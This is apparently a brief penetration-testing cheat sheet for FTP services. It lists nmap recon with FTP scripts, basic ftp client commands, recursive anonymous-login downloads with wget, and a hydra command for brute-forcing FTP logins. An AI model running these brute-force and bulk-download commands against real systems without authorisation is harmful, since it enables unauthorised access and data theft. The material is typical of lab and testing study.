Recon
$ nmap -p 21 --script=ftp-* <ip> -v2
FTP
$ ftp <ip>
ftp> put <file> # Upload file
ftp> get <file> # Download file
ftp> ls # Directory listing
Download file rekursif anonymous
$ wget --recursive --ftp-user=anonymous --ftp-password=any --no-passive-ftp ftp://<IP>
$ wget -r ftp://anonymous:anonymous@<IP>
Bruteforce Login
$ hydra -L users.txt -P passwords.txt <IP> ftp